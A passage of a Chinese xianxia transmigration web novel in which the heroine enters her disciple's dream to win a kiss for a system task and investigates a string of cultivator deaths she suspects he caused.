他的剑放在塌前的小桌上,在月光的映照下折射出凛冽的寒光。 季白在屋子里转了一圈也没有发现任何异常,她飘在半空中静静看着床榻上的孟辞,他看起来睡得正香,浓密的眼睫在眼下留下一道淡淡的阴影,粉嫩的唇毫无防备的微张着,不同于他清醒时的阴郁冷峻,睡着的他看起来又乖又欲。 是她想多了吗?孟辞看起来很正常。 季白又环顾了一圈见并无异常后,正准备转身离开,却突然发现了一丝不对劲。 不对! 孟辞亲口承认他喜欢玉石,还说他喜欢独赏,可他的房间却连一件玉石做成的摆件都没有。 那他收藏起来的玉石都去了哪里? 季白好奇地蹲下身子凑近孟辞,到现在为止,孟辞是唯一一个还未亲吻过她的人,也是唯一一个不曾对她表露心意的人。 哪怕是被她锁起来的卫云台,也曾有过片刻的失神,在看见她手腕上的情契时也会失控。 可偏偏年龄最小的孟辞却从头到尾都没有表露出半分逾越,哪怕当面看着她和戚流星亲密,哪怕知道她要同戚流星结契,他也是如此的“正常”。 季白原本想着和他扮演好师尊的游戏,可现在她开始怀疑自己的选择是否正确,孟辞他好像真的有足够的定力一直以徒弟的身份陪在她身边。 季白轻轻叹了一声,在脑海中问系统。 【我主动亲他真的不行吗?一定要他亲我吗?】 如果偷亲就可以完成任务的话,季白早就已经通关了。 【不行。】系统给出了一个毫不意外的答案。 季白重重叹了一口气,愁得心塞,又见孟辞毫无知觉地安然睡着,不由心生怨念。 季白仗着孟辞现在看不见她,气呼呼地掐他脸颊,嘴里还小声嘀咕着,“都怪你害我完不成任务,你还睡得怪香,我都快要愁死了,为什么你不能和李承仙一样呢?” 季白正小声念叨着,孟辞的头突然动了一下,吓得季白连忙想要收回手,却惊讶地发现她的手移不开了,像是被孟辞的脸吸住了一样。 这是怎么回事?!季白又惊又怕。 她还没反应过来,只觉眼前一黑,整个人不受控制地朝孟辞的身上撞去,可她并没有撞到实体的感觉,反而像是穿过了一片浓郁的雾气。 等季白再次睁开眼就发现自己来到了一个完全陌生的地方。 这是……哪儿? 四周的一切都雾蒙蒙的,仿佛隔着一层薄纱,透过雾气依稀可以看见四周婆娑的树影,她循着唯一的光向前走去,很快在树下发现了一道劲瘦高挑的人影。 她定睛一看竟是正在练剑的孟辞,她快步走上前去,大喊了一声:“孟辞!” 然而孟辞却好似完全听不见她的声音一样,旁若无人地继续练剑。 正在季白疑惑时,又见一女子从另一头走了过来。 她和她生得一般无二,眼中噙着一抹清浅的笑意,瞧着温柔又秀婉。 这里难道是孟辞的梦?那对面的她就是孟辞眼中的自己? 季白偏头打量着另一个自己,在孟辞眼中,自己有这么温柔吗? 季白飘到了树上,居高临下地看着树下的孟辞和梦中的自己。 她有点好奇孟辞接下来会如何做,这里是他的梦,他总不会再掩饰自己了吧,总该有点逾越的事发生吧? 然而,季白看了老半天才发现他们真的只是练剑而已,孟辞的言行举止和平日里在她面前时的样子简直一模一样。 季白彻底服了。 要么是孟辞很能掩饰,已经到了自己骗自己的程度,要么就是系统真的出bug了,孟辞只是拿她当师父而已。 季白坐在树上连连叹气,手指不停地扣着粗糙的树皮发泄心中的情绪,这任务是非做不可吗?能不能换一个任务啊? 不过季白很快以旁观者的角度看见了孟辞在面对她时绝对不可能会展露的另一面。 每当梦中的自己移开视线时,孟辞都会用格外炙热的眼神盯着她,她抚过的地方,他会变态般地嗅闻,甚至还会故意装作不懂,让梦中的自己再教他一遍。 破案了,这家伙就是能装而已! 季白看着树下的两人,有了一个新主意。 【系统,如果孟辞在梦中亲我,算吗?】 【只要吻得是你,只要吻你时没有任何阴暗的负面情绪,就算。】 季白一听这话,立即坐不住了,她从树上飘了下来,试图代替孟辞梦中的自己,许是因为她们本就是同一人的缘故,季白一靠近就被她吸了过去。 等季白再次回神,眼前是孟辞无比专注的苍白面容。 “师父。”孟辞说,“我……我还是有点不太懂。” 季白实在无法忍受孟辞的暗恋了,照他这样下去,她什么时候能完成任务? 在这个动不动以百年千年计算的修仙界,她只有一个月的时间用来完成任务,今天已经是第五天了,她没有多少时间了。 季白握住他的手腕,帮他把剑收回鞘中。 “不懂?”季白笑眯眯地说,“那师父今天就教你点新东西。” “是什么?”他低眸看她,眼睛里仿佛藏着星星。 季白直接用行动告诉他是什么。 她踮脚攀上孟辞的脖颈,仰头吻在他的唇上,孟辞吓了一大跳,狭长的眼睛瞪得圆溜溜的,手都不知道该往哪放。 “师……师父。”孟辞红着脸往后退,“您做什么?” 季白不理他,整个人往他怀里扑,吓得孟辞脚下一个踉跄,竟摔到了花丛中,季白也被连带着摔了下去,双腿正好胯在他的腰腹上。 “师父……”孟辞脸红得都要滴血,不知是因为紧张还是姿势的原因,胸前的布料被他的肌肉撑得鼓鼓的,看上去就很好摸的样子。 “小辞长大了。”季白笑眯眯地俯下身子趴在他身上,食指勾着他的下巴,他的肤色很白,就越发衬得红唇似血。 她低下头又啄吻了他一下,“该学一点大人做的事。” 孟辞微张着唇看她,喘息声一声比一声急促,身体僵硬得像是木偶。 “师……师父……您……您先起来。” “起来做什么?”季白故意引诱他,“难道你不喜欢吗?” “这可是你的梦镜,如果你不喜欢又怎么会梦到我?” 季白捧着他的脸,如同魅魔般轻声蛊惑他,“这是你的梦镜,你对我做什么都不会有人知道,等明儿天一亮,你还是师父的好徒儿。” 孟辞紧紧咬着下唇,用力到殷红的唇边泛起一层白,紧接着又溢出血,季白轻柔地拨开他的唇,用手指抵着他的牙齿。 “别咬。” 季白低下头温柔地吻了上去,舌尖舔舐着他唇上的伤口,待止住了血,她又抬起头定定看着他。 “来,用我教你的方式来吻我。” “让我看看你学得好不好。” 季白看见孟辞的瞳孔剧烈地颤了颤,紧接着所有的一切都在她的眼前炸开,等眼前的景色从朦胧中再次重组时,季白才发现自己又回到了现实世界,而她的身下正是刚刚睁开眼的孟辞。 她还没明白发生了什么,就听见系统的声音在她脑海中响起。 【你吓到他了。】 季白:??? 她是鬼吗?她怎么就吓到他了? 【你做了一个不可置信的梦,也会从睡梦中惊醒。】 季白懂了,感情她刚刚的动作在孟辞心中和做梦遇见鬼一样呗。 她气得想咬人,刚刚明明就差那么一点了。 该死的孟辞,难道就不能亲完再醒吗? 季白脑海中突然浮现了一个痞匪男人的经典表情包,给你机会,你不中用啊。 “师父……” 孟辞低声的呢喃瞬间将季白拉回现实,她惊慌失措地低下头就对上孟辞乌黑沉寂的眼眸。 他仿佛……可以看见她。 季白吓得连大气都不敢喘了,魂体状态下的她并没有心,可她却觉得自己的心跳得厉害,仿佛下一秒就要爆炸了。 “师父。”孟辞又低低呢喃了一声,目光直勾勾地落在她身上,他伸出手朝她的脸颊摸了上来,乌黑沉寂的眼底是无比复杂又汹涌的情绪,“您……您究竟想要做什么?” 56 第56章 季白张了张唇,正要回答他的问题,却见孟辞的手掌径直穿过她的脸颊,而后蓦然下坠无力地盖在眼睛上。 唯有殷红的唇和瘦削的下巴暴露在空气中,清寒的月光穿过季白的身体悉数落在他的身上,季白从这个角度可以清楚地看见他剧烈起伏的胸膛,下颚与唇都紧崩着,似乎是在强忍着狂风骤雨般的情绪。 季白垂下眼帘伸手去摸他没入发鬓的泪,可指端却穿过了他的身体。 他在痛苦。 季白眼中闪过一抹不解,为什么呢? 因为刚刚的梦吗? 季白收回手,又默默看了孟辞一会,他始终用手捂着眼睛,但剧烈起伏的胸膛却一点一点变得平缓。 他好像并没有发现她,刚刚吓人的举动也只是惊醒后的意外。 他要问的或许并不是她,而是梦中的她。 但季白始终不能放心,她趴在孟辞耳边轻声喊,“孟辞。” 孟辞毫无反应,好似完全没有听见。 季白松了口气,书上果然没有骗她。 离魂术,离魂后不为他人所察,无声无形。 当然,还有另一种情况,如果对方的修为高过你,那自然是可以察觉到异常。 不知为何,季白明知孟辞看不见她,她还是小心翼翼,蹑手蹑手地走了。 待季白走后,孟辞缓缓移开眼睛上的手,清冷皎洁的月光照在他的眼睛上。 他黑寂的眼眸中一片清明,哪有半分哭过的迹象? 孟辞抬眸看了眼窗外,面无表情的脸让人猜不透他在想什么,他左手向上一翻,掌心里凭空出现一尊精巧的玉雕。 他轻抚着玉雕的面容,低声自语:“师父,你究竟……想做什么?” 季白回到房间后,魂体一入肉身就察觉到腰间的传音符不仅烫得吓人,还在不停地颤动着。 季白连忙打开传音符,就传来了戚流星的声音。 “师妹,你刚刚做什么去了?” 这东西是戚流星临走前给她的,临行前再三叮嘱她一定要时时刻刻戴在身上,方便联络。 “我……”季白揉了揉眼睛,模仿着刚刚睡醒的声音说,“我刚刚睡着了。” “睡着了?”戚流星说,“怎么我在时,不见你睡这么早。” 戚流星指的是季白跟戚流星去泰州的时候,那时的季白几乎没有睡觉。 “大概是在泰州累着了。”季白随便找了个理由应付一句,而后就立即转开话题询问戚流星,“你已经到清音宗了吗?” “嗯,到了。”戚流星说,“明日会和清音宗的人一起下妖洞。” 季白又同戚流星有一搭没一搭的聊着,直至夜色渐深,戚流星方依依不舍地对季白说:“好了,时候不早了,你早些休息吧。” “那我继续睡啦。”季白说,“师兄也早点休息,明天一定要注意安全啊,要是遇上危险赶紧跑,千万别逞强。” 季白生怕戚流星出了事,影响她的任务。 戚流星笑得爽朗,“你还信不过你师兄我的实力吗?保证没问题,师妹就安心等着我回来吧。” 戚流星笑眯眯地放下了手中的传音符,待连接中断的那一刻他脸上的笑容顿时消散得无影无踪。 他独坐在月窗下轻扣着面前的桌案,眼神晦暗,师妹在撒谎。 修行到他们这种程度有几人还需要睡觉呢? 戚流星联想到他离开前在季白身上闻到的那一缕熟悉的气味,就再也坐不住了。 师妹一定有事瞒着他。 莫不是……他攥紧了手,胸腔里的那颗心剧烈地跳动起来,他做得那件事被发现了? 戚流星起身推开小窗,取下系在腰间的青笛放在嘴边奏响,婉转悠扬的笛声逐渐扩开。 不多时,一只银羽红喙的仙鹤从乌黑的天际边飞了下来,它在窗前盘桓了一圈后缓缓落在了戚流星的面前,伸长了颈项高鸣了一声,似是在同戚流星问好。 戚流星放下青笛,抬手抚了抚仙鹤的头顶,道:“吟松,劳烦你帮我个忙。” 仙鹤扇了扇翅膀,长鸣一声以作回应。 季白放下传音符后,并没有睡觉而是翻开了原主留下的书籍准备通宵达旦地学习。 经过上次妖洞一事后,季白发现在这个世界单靠蛮力是行不通的,有时候一些好用的术法比她的剑更有威力。 她不喜欢学习,但喜欢掌握着绝对的力量。 季白的书看到一半,突然感到有几分不对劲,低头一瞧,就发现地面上竟趴着一只血肉模糊的怪物。 那怪见季白注意到它了,长大了满是黏液与利齿的嘴巴朝季白扑来,想将她吞入腹中。 季白吓了一跳,连忙闪身躲避,同时抽剑朝它劈去,那怪哀嚎一声,转瞬间就化为了脓水。 然而,这只是一个开始。 季白仿佛在一瞬间落入了另一个可怖的怪物空间,周围所有的一切都开始扭曲变形,桌上的烛台无限拉长延展成了一个头顶鬼火,干瘦可怖的怪物,它一张嘴就能吐出可以焚尽一切的火焰。 掉落在地的书籍也生出了腿,书页成了一颗颗无比锋利的牙齿,在火光下折射出阴寒的光,它不断地张张合合发出“咔擦咔擦”的声音,让人毫不怀疑会被它一口咬断了腿。 季白目之所及都变成了不可言说的怪物,房间里的每一件东西,包括屋子本身都成了吃人的怪物,它们猩红着眼,面目狰狞地流着口水朝季白扑来,恍惚间,季白仿佛看见了藏在它们肚子里的人头。 季白一面用尽全力抵抗,一面在脑海中问系统。 【系统!这些怪物是怎么回事?!】 【副本世界的夜晚是怪物的天下,唯有男主身边会有一方净土。】 季白闻言本能地望向孟辞的房间,问。 【你是说孟辞不在房间?!】 没道理今天一晚都没有任何异常,偏偏这时出现了怪物,那么唯一的解释就是孟辞刚刚离开了小院。 系统没有给予季白准确的答复,季白如今也顾不上它,被怪物包围的她只能把所有的精力用在保护自己身上。 这一夜对季白来说甚是漫长,当清晨的第一缕微光透过厚重的云层晕染出金色的光芒,丹霞峰上的一栋小屋被人从里推开了门露出一张苍白俊美的脸。 少年一身黑色劲装,一头乌发用墨冠高高束起,腰间的革质腰封在阳光下折射出冰冷的寒光,让人一看就觉得他不好惹。 孟辞快步来到季白门前,轻叩房门:“师父,你在吗?” 差不多打了一晚上怪物的季白正七仰八叉地躺在床上睡着,完全没有听见外面有人叫她。 孟辞眼眸闪了闪,又敲了一遍,提高了音量,“师父,你在吗?” 尚在梦中被怪物追着跑的季白突然发现身后的怪物取出了一个铜锣在她身后敲着。 “咚咚咚!” 梦镜的声音逐渐和现实重合。 “师父,你在吗?” 季白睁开眼缓了缓,揉揉眼睛翻身下床,往门边走的时候顺手给自己施放了一个简单的清洁术。 等她把门打开时,她已是清清爽爽的季白了,只是眼中的疲惫是无论如何也遮不住的。 “师父。”孟辞端端地站在门外,身后的阳光落在他的身上形成了一圈光晕,让他整个人看起来好似在发光一样,他的眼睛比光还要明亮地注视着她,“你昨晚说要送我东西,我现在来取。” “哦,你稍等。”季白说,“我去给你拿。” 她说着就回身去找,一回头发现孟辞乖乖站在门口等着,就冲他招招手说:“你进来坐吧。” 孟辞抿了抿唇,抬脚迈进了屋子。 这是他第一次进师父的卧房,从前师父不准他进来的,一般不是在书房教授他功课就是在后院的空地上。 他一进屋就闻到了浓郁的属于季白的气息,他险些腿软,感觉自己像是被师父紧紧环抱着,包裹着。 他恨不能溺死在这儿。 好喜欢,好想看看师父的房间都有什么,可是他不能,他怕被季白发现了他的心思。 孟辞想到昨夜,想到昨夜的梦,想到昨夜的师父,脸颊不受控制地开始发烫。 “孟辞。”季白喊了一声。 孟辞连忙应了一句,声音听起来比平时要哑。 “你昨晚睡得怎么样啊?” “我睡得很好。”孟辞一抬头就对上季白笑吟吟的脸,朝他伸过来的手里握着一件上好的玉石。 想到昨夜,孟辞的喉结滚了滚,问:“师父为何这么问?” “你昨儿刚回丹霞峰。”季白说,“我怕你不习惯,没睡好。” 睡得很好? 季白是一个字也不信。 这家伙昨晚明明被梦吓醒,后半夜又不知去做什么了,直至天快亮时方回来,现在和她说睡得好? 他一定有事瞒着自己。 “我睡得很好。”孟辞一字一句地说,“我自幼在丹霞峰长大,丹霞峰是我的家,我离开再久,也不会不习惯。” 季白抬眸对上他沉寂却坚决的眼眸时,心中颤了一下,正要说话,却突然发觉有人来了。 她放下禁制,抬眸看去,就见一位脸生的小弟子急匆匆地跑来了。 “季师叔,孟师兄,又有修士陨落了。” “这次死的是谁” 那弟子面容悲痛,“是江师兄,江成。” 57 第57章 (二合一) 季白闻言顿时一惊,她本能地往孟辞的方向看了一眼,他低垂着眼眸,脸上的神色平静极了,仿佛死得不是一个人,而是秋天到了,花该落了的平静。 季白收回视线,连忙道:“快带我去看看。” 在往江成住所去的路上,季白总是忍不住悄悄打量孟辞的神情,他看起来未免也太平静。 好歹是死了一个人,还是昨日刚见过的人,再情绪淡然的人也该有一分惊讶吧? 季白想到她昨晚送给江成的法器,想到回程的路上孟辞问她是不是很喜欢江成,最关键的是,季白藏在袖袍下的手紧紧攥着,昨天夜里孟辞曾经离开过丹霞峰。 所有的一切未免太巧太巧。 是他昨夜杀了江成吗? 孟辞抬起眼皮看向季白,殷红的唇扯出一抹清浅的笑,“师父为何一直看我?” 季白对上这双如幽谷寒潭般沉寂的眼眸,只觉心头一颤,明明他们在太阳底下,季白却觉得有点冷。 季白移开视线,语气失落又遗憾地说:“没什么,我只是在想,如果江成如同你一般实力强大,或许也不会遭遇不测。” 如果孟辞真是杀害江成的凶手,那么她才是真正的罪魁祸首。 毕竟是一条鲜活无辜的生命因自己而死,季白心中难免有点难受和愧疚。 她昨日不该故意借着不相干的人试探孟辞。 【你在愧疚?】 自从来了仙侠副本就格外安静的系统破天荒地主动出声询问。 季白抿着唇没有说话。 【呵。】 【你该知道的,副本里的他们和你不一样,他们可不是你认为的活人。】 系统用略带嘲讽的语气说,似乎是在笑她不该有的愧疚和同情,笑她的软弱和犹豫。 季白听了这话,心里就不太舒服。 她想起上个副本帮过她的羽生,想起她在妖洞里抱起的孩子,他们每一个都鲜活灵动,受伤会流血,有自己的喜怒哀乐,自己的思维,如果他们是假的,不是活人。 那么她呢? 她的存在或许在别人眼里也不是活人,或许她也是设定好的假人,毕竟……季白抬眸看向身旁的*孟辞,身前的小弟子,她和他们又有什么不同? 季白摸了摸腰间的剑,很想抽出来捅自己一剑来验证自己是不是真的不会在副本里死亡,来验证她的肉身在这里死去,灵魂又会在何处重生。 她剧烈的情绪波动引起系统的警觉。 【你怎么了?】 季白深吸一口气,平静地说。 【没事。】 如果陶嘉荣在这,八成又会强制性地喂她吃药了。 系统沉默了一会,问。 【你灵魂混乱,长寿花的果实会帮你稳定灵魂,你真的不吃吗?】 季白摩挲着指尖,低垂的眼眸闪过一缕异色,随后坚定地回道。 【我不吃。】 系统似乎还想再说点什么,却被季白的下一句话堵了回去。 【放心吧,我没事。我还要完成任务回去呢。】 季白笑着说。 【我的仇人都还活得好好的,我怎么能死?】 季白刚在脑海中和系统说完这句话,就觉掌心一凉,回神一瞧是孟辞握住了她的手。 他似是想要安慰她,低声道:“因仙陨案而死的近千修士里,其中也不乏修仙界的大能。” “我想,只要是被凶手看中的人,无论修为高低都逃不过。” “师父不必过于自责,当务之急是尽早抓出凶手,为江成以及无数陨落的道友报仇。” 他的眼神依旧是古井无波的沉寂,眼底却盛着一抹担忧,微凉的手掌也在努力地传达给她温暖的支撑。 孟辞是一个罕言寡语的人,可即便沉默如他,也会本能地为了心爱之人献上最动人的言辞。 季白看着他的眼睛,一时间有些分不清江成到底是不是他杀的。 季白从他手中抽回自己的手,孟辞只觉手中一空,那抹温软就如同一片握不住的云一般在他眼前消散,而他却没有勇气再伸手触碰。 他默默收拢了垂落在腿边的手,指尖与掌心贴合好似这样做就能留住她残留的余温,直至掌心渗出一层湿润的薄汗,也舍不得放开。 季白试探道:“江成是在宗门内死亡的,说明凶手极有可能还隐藏在宗内。” “你说,仙陨案的凶手该不会是我们太清宗的人吧?” 孟辞并没有立即回答季白,而是想了一会,方认真回答:“我觉得不会,江成不是第一个死在宗门内的人,之前死亡的修士中死在宗门中的占了一半。” 这也是这个案子最难查的地方,无故陨落的修士出现在各个地方,甚至在一天之内会出现不同地方的修士死亡,且距离相差极远。 “师父为何会突然怀疑是我们太清宗的人所为?”孟辞歪头反问,“难道师父心中已有怀疑的人了吗?” 他的眼神看上去无懈可击,神情也是一脸困惑,仿佛真的什么也不知道。 季白收回视线,道:“没有,只是单纯想着太清宗防守严密,或许昨夜行凶之人还未离开。” 孟辞平静的声音从耳畔传来,“师父怎知是昨夜?” 季白心头一惊,那种全身发凉的感觉又来了。 如果孟辞真的是凶手,那他真的太过敏锐和可怕了。 “呵呵……”季白干笑了两声,道,“我们昨日方见过江成,今日一早就有人发现江成的死,我估摸着死亡时间应该是昨天晚上。” 孟辞那双乌黑的眸子定定看着季白,就在季白被盯得心里直发毛的时候,前面的小弟子插话道:“季师叔估计得没错,江师兄是昨儿夜里陨落的。” 那弟子又道:“最先得知消息的是江师兄的师父凌霄长老,凌霄长老已经命人将现场封锁起来并清查宗内人员,凌霄长老知道季师叔您在查这件案子,就特意让我请您过去看看。” 季白应了一声,又问询了几句这弟子关于现场的事。 她看似把所有的精力都放在了小弟子的身上,实则一直在留心观察着孟辞的一举一动。 孟辞看了她一眼后,就收回了视线如同往常一般平静地跟在她的身旁,像是一个沉默的影子。 等季白赶到江成的住所时,就见院子外围站了不少面容悲痛的太清宗弟子。 领他们来的小弟子也再次被这悲痛的气氛感染,吸着鼻子擦了擦泪,哽咽道:“江师兄真的是一个很好的人,虽然平时很严厉,但对我们这些师弟师妹们都格外关照,谁出了事,他都会记在心上,每逢下面出了事,他也是第一个去的。” “这么好的一个人……怎么偏偏就……”小弟子再也抑制不住情绪,大哭了起来。 他断断续续地问季白,“季师叔,您是太清仙尊的徒弟,您一直是最厉害的,听闻就连杀不死的蛊妖王都被您和戚师叔剿灭了,您也一定能查出仙陨案的凶手吧?再这样死下去,终有一日会使九州境内再无修士。” 季白身上没有手帕,见他哭得实在可怜,又用那双湿漉漉的眼眸祈求地看着她,仿佛她是世间唯一的救世主。 季白忍不住心头动容,上前一步用袖子帮他擦拭脸上的泪,温柔又坚定地说:“我一定会查出仙陨案的凶手。” 孟辞抬手摸上眼角,眼眶周围一片干涩,没有一滴泪。 是不是无论谁哭,她都会用充满怜惜的眼神注视着对方,温柔的安慰他? 季白很敏锐地察觉到了孟辞看过来的视线,她后退了半步,与小弟子保持一定的距离,温声道:“别哭了,你去告诉他们,让他们都散了,大家都聚在这儿,不方便我和孟辞查探线索。” 一旁站着的孟辞听季白提到他的名字,嘴角忍不住微微向上翘了翘。 “师父,我先进去。” 孟辞说着就先推开门走了进去,季白一入内就闻到了一股说不上来的怪味,不是人类死后的尸臭,更像是某种叶子腐烂的味道。 季白走上前去查探,在看清江成的一刹那,季白吓了一大跳。 哪怕她已经见过无数形容可怖的怪物,也提前在案卷上看见了仙陨案中陨落的修士,但还是被江成死后的惨样吓到了。 昨日还是生龙活虎,鲜活灵动的江成今日就成了一个皱巴巴的干尸,被人吸取了所有的血肉与灵气,只余留白骨和一层皮。 这是何等阴邪残忍的手段。 季白强忍着不适开始查探四周的情况,之前单从案卷上看,季白还觉得是那些记录的人员不仔细,凶手犯了那么多案子,怎么可能不留下一些蛛丝马迹。 如今到了现场,季白才深切体会到了他们的恐慌与畏惧。 什么线索都没有留下,一切都是那么的正常,就连江成本人也没有挣扎反抗的痕迹,仿佛就像是在梦中无知无觉地死去了一样。 等等,梦! 季白想到了她昨夜用的离魂术,她既能离魂入梦,旁人未必不能入梦杀人。 不过……如果是用这样的手段,没道理其他人都不知道啊。 季白有心想问,但在对上孟辞的目光时,又把话咽了回去,改口道:“孟辞,我们回去吧。” 孟辞如今是她的一号嫌疑人,她自是不能打草惊蛇。 “师父不再看看吗?”孟辞问。 季白摇头,“不必看了,我们回去吧。” 季白带着孟辞离开时,意外在博古架上看见了一件熟悉的东西。 正是季白昨日送予江成的法器,看得出来主人很爱惜它,不仅罩在琉璃中还放在了博古架的最中央。 孟辞顺着季白的目光看了过去,毫无意外地也看见了博古架上的法器,他的眼眸闪了闪,低声道:“师父,我们走吧。” “嗯。”季白轻声应了一句。 戚流星如今已入妖洞一时半会是联系不上的,身边的孟辞又很有嫌疑,万幸她还可以去找后山的师父答疑解惑。 季白在回去的路上低眸思索着江成的死,在经过一小亭时,耳边突然传来一声清脆的鹤鸣。 季白抬眸一瞧,就见不远处的半空中盘桓着几只毛色纯净,体态轻盈的仙鹤。 太清宗是仙山,山内常有仙鹤盘桓,季白来得这几日也早就从一开始的新奇变得习以为常了。 她并没有太在意空中的仙鹤很快又收回了视线,然而孟辞的目光却落在其中一只仙鹤身上,他仿佛认识它一样,盯着看了一会,方若无其事地收回视线。 两人回到丹霞峰后,季白对孟辞交代了一句就急匆匆往后山去。 昏暗的山洞里,卫云台靠着石壁闭目养神,直至寂静的耳边响起清浅的脚步声。 他方缓缓睁开眼,说:“我还以为你这段时间都不会来了。” 上一次他们的分别实在算不上愉快,或者说自从季白神魂不稳,记忆缺失后,他们的每一次见面都不愉快。 季白张嘴就是一句撩人的情话,“我巴不得日日能见到师父,怎会不来?” 卫云台抬手抓住她的手腕,似笑非笑,“巴不得日日见我?你上一次可是去了整整三日。” “我还以为你又去找他了。” 卫云台说着,指腹轻轻拂过她腕上的肌肤,原本已经隐匿在血肉里的图纹再一次浮上了洁白的肌肤。 只不过这一次要淡得多。 季白想起上一次的痛,本能地就要收回手,却被卫云台牢牢抓住了手腕不放。 他抬眸看她,明明是仰视者,却又有一种不容分说的强势。 “怎么?你还想留着和他的情契,与他长长久久吗?” 他看起来像是能包容一切的温柔圣父,圣洁超然的面容,银蓝色的长发与那双空洞又悲悯的眼眸,他所有的一切都像极了守护人间的神灵。 你站在他的面前总会产生一种他会包容你所有一切的错觉,哪怕你做下天大的错事,他也只会默默聆听你的忏悔,轻抚你的发顶说,神明宽恕你。 然而这只是错觉。 他也有他的坚持和底线。 比如现在,卫云台就抓着季白的手腕用不容拒绝的态度帮她再一次清理与李承仙的契约。 这一次并没有比上一次轻松,反而有着抽筋拔骨的痛意。 “师父……”季白疼得脸都皱在了一起,“好疼。” 卫云台见季白疼得难受,眸中满是怜惜,温柔地安慰道:“再忍忍,马上好了。” 他的声音仿佛有着安抚人心的力量,在他温柔的安抚下季白竟渐渐觉得没那么痛了。 他仙姿玉色的面容近在咫尺,近到季白可以感受到他呼出的热气,唯有这种时候季白方能恍惚想起,他也是一个活人,而不是摆起来的神像。 穿在他身的衣衫不知是不是因为刚刚的拉扯而导致领口半开,露出性感的锁骨和一片洁白细腻的肌肤,季白看得有些失神。 卫云台轻柔的声音在耳畔响起,“好了。” 季白抬眼对上卫云台温和的视线,他的唇张张合合似是在和她说着什么,可季白所有的注意力都在那抹湿润柔软的嫩红上,压根听不见他说了什么。 只想吻上去。 季白缓缓凑近他,卫云台眼眸闪了闪,坐在榻上一动不动,似是在等着季白亲上去一样。 在将要吻上时,她忽而惊醒,立即坐直了身子。 卫云台磨了磨指尖,没有说话,只是定定瞧着季白。 季白被他的视线看得有点尴尬,她还没忘记卫云台上一次嘲讽她定力不足,结果这次又丢人了。 季白心中有点疑惑,她觉得自己并不算是好色之徒,怎么会那么容易被卫云台引诱呢? 她稳了稳心绪,想起这次来找卫云台的目的。 “师父,我有问题想要请教你。” “原来是有事找我。”卫云台说这话时,脸上还带着笑意,可季白总觉得他没说完的下一句是——若是无事,你是不是就不会来了。 季白甩掉脑海中莫名其妙的想法,正色道:“师父,我昨日用了离魂术,却无意间闯入了别人的梦境。” “离魂入梦这样的小术法,你在十岁时就已习得并运用自如。” 小术法?季白记得那本书的名字起得很厉害,书的前言也再三强调是高级仙法,在无师长看护时不可轻易尝试,怎么到了卫云台嘴中就成了小术法…… “既然有能随便入梦的术法,那是不是也能在梦中杀人啊?” 卫云台的眼眸闪了闪,问:“你想杀谁?” 季白连连摇头,“不是我要杀人,我……我就是好奇而已。” 卫云台静静瞧着她没有说话,但眼中的神色分明表达了两个字——不信。 “好吧。”季白老实交代,“我最近再查一件案子,我怀疑凶手是用入梦的方式杀人,所以想问问师父有没有这样的术法。” “宗内的案子自有刑堂负责。”卫云台眉头微皱,看她的眼神像是在看不务正业的孩子,“你的任务是修行。” “师父失踪多年,他们要推举我继位做宗主。”季白说,“但我在宗门多年,也没为宗门做什么贡献,就想在继位前做出点成绩给大家看。” “这案子很复杂,凶手一直在杀人,但我们却始终没有凶手的线索,因而我只能来求助师父了。” 卫云台应当不知道仙陨案,在他失踪前修仙界还没有那么多无故陨落的仙人,偶有几人大家也只当是被魔族所害。 “死的是什么人?”卫云台问。 “都是修士。” “修为如何?” “有高有低,厉害得已经达到长生境了。” 卫云台闻言点了点头,而后道:“你的猜想错了。” 季白睁大了眼睛,“不是入梦杀人?可如果不是入梦,还能通过什么方式呢,他杀了那么多人,却从来没有留下过任何线索。” 卫云台静静听着她的疑问,在她说完后,方垂眸道:“如果死得是凡人,尚有可能是通过离魂入梦的方式,可如果是修士,那几乎就不可能了,何况还是长生境的修士,若真有这样的手段也只有真正的神仙可以做到了。” 季白不解,“为何凡人就有可能,修士就不行?万一那人实力很强呢?” “离魂术的作用是?” “离魂术,离魂后不为他人所察,无声无形。” “何为无声无形?你的声音对方听不见,你的身体对方碰不到,就像是一缕无色无味的烟。”卫云台说着抬手用灵气幻化出一个虚影,那虚影随着他的动作轻晃着,但却轻轻一碰就碎了,“你连对方的肉身都碰不到,如何杀人?” “若对方是心智不坚的凡人,或许会在梦中被你的虚像所吓,惊骇而死,可修行的修士各个都心志坚定,怎会被梦吓得身死道消,那未免太可笑了。” “纵然有……”卫云台抬手指了下天,“那也只能是真正的神仙了。” 卫云台的说法倒是和修仙界中一部分人的说法重合,他们也认为是上界的邪神所为,非此界之辈可以达到的。 因有着这层传言,修士们就连修行都没有了从前的热忱,他们觉得上界已被邪神笼罩,而下界的他们也只能一个一个沦为邪神的祭品。 季白好不容易有的头绪又被卫云台按了回去,但她并没有气馁。 她知道凶手不是什么邪神,就隐藏在他们之间。 “我知道了。”季白说,“谢谢师父为我解惑。” 她说完又想到了孟辞,准备再去从他那儿找点线索。 季白这一次并没有久留,得到她想要的答案后,就匆匆离去了。 在她走后,卫云台垂眼看着自己胸前半敞的衣襟,他抬手又把衣领往下拉了拉,露出了比刚刚还要多的肌肤,几乎可以看清他胸肌的轮廓了。 他低着头审视着,似乎是在看到底怎么样能最性感撩人。 在李承仙没有出现前,季白几乎日日都陪在他的身边,可现在她却一次比一次来得少,走得快了。 哪怕他再不愿意承认,他现在也在用他曾经最不齿的皮相吸引季白的注目。 季白走出山洞后就往孟辞的房间去。 她拍了拍门,喊道:“孟辞。” 然而屋内并没有任何人回应她。 季白又喊了一句,还是无人回应。 难道孟辞不在? 季白这么想着,左右看了看确实没发现孟辞的身影。 奇怪,孟辞去哪了? 季白盯着眼前的木门,想到了孟辞昨晚的突然离开,无比想要推开门进去看看,可她昨晚以魂体的状态进去过一次,屋内并无异常。 她站在门前纠结时,完全没有注意到在她身后的树上正站着一个人静静观察着她。 【作者有话说】 感谢大家之前的营养液和打赏,这是今天的加更。 58 第58章 房间门窗紧闭,每一扇窗都用遮光的纱幔封死,仿佛是主人怕见光一样。 可让人奇怪的是,屋内的每一个角落又都点上了灯,照得屋内恍如白昼。 一架半人高的铜镜前站着一位风姿绰约,妖媚绮丽的红衣男子,他静静看着镜中的自己出神,宛若在火光里盛放的妖花。 他突然转过脸轻抚着身旁印在屏风上的美人,乌黑的瞳孔闪烁着猩红的光。 “仙人,你到底什么时候来找我?” “你是不是已经忘了我?” 只有他一人的房间突然又传来一道尖刻的声音,“你在做什么白梦大梦,她怎么可能会来找你?她早就把你忘了。” 李承仙脸上的神色一瞬间变得刻毒无比,眼神像是淬了冰。 “住嘴!” 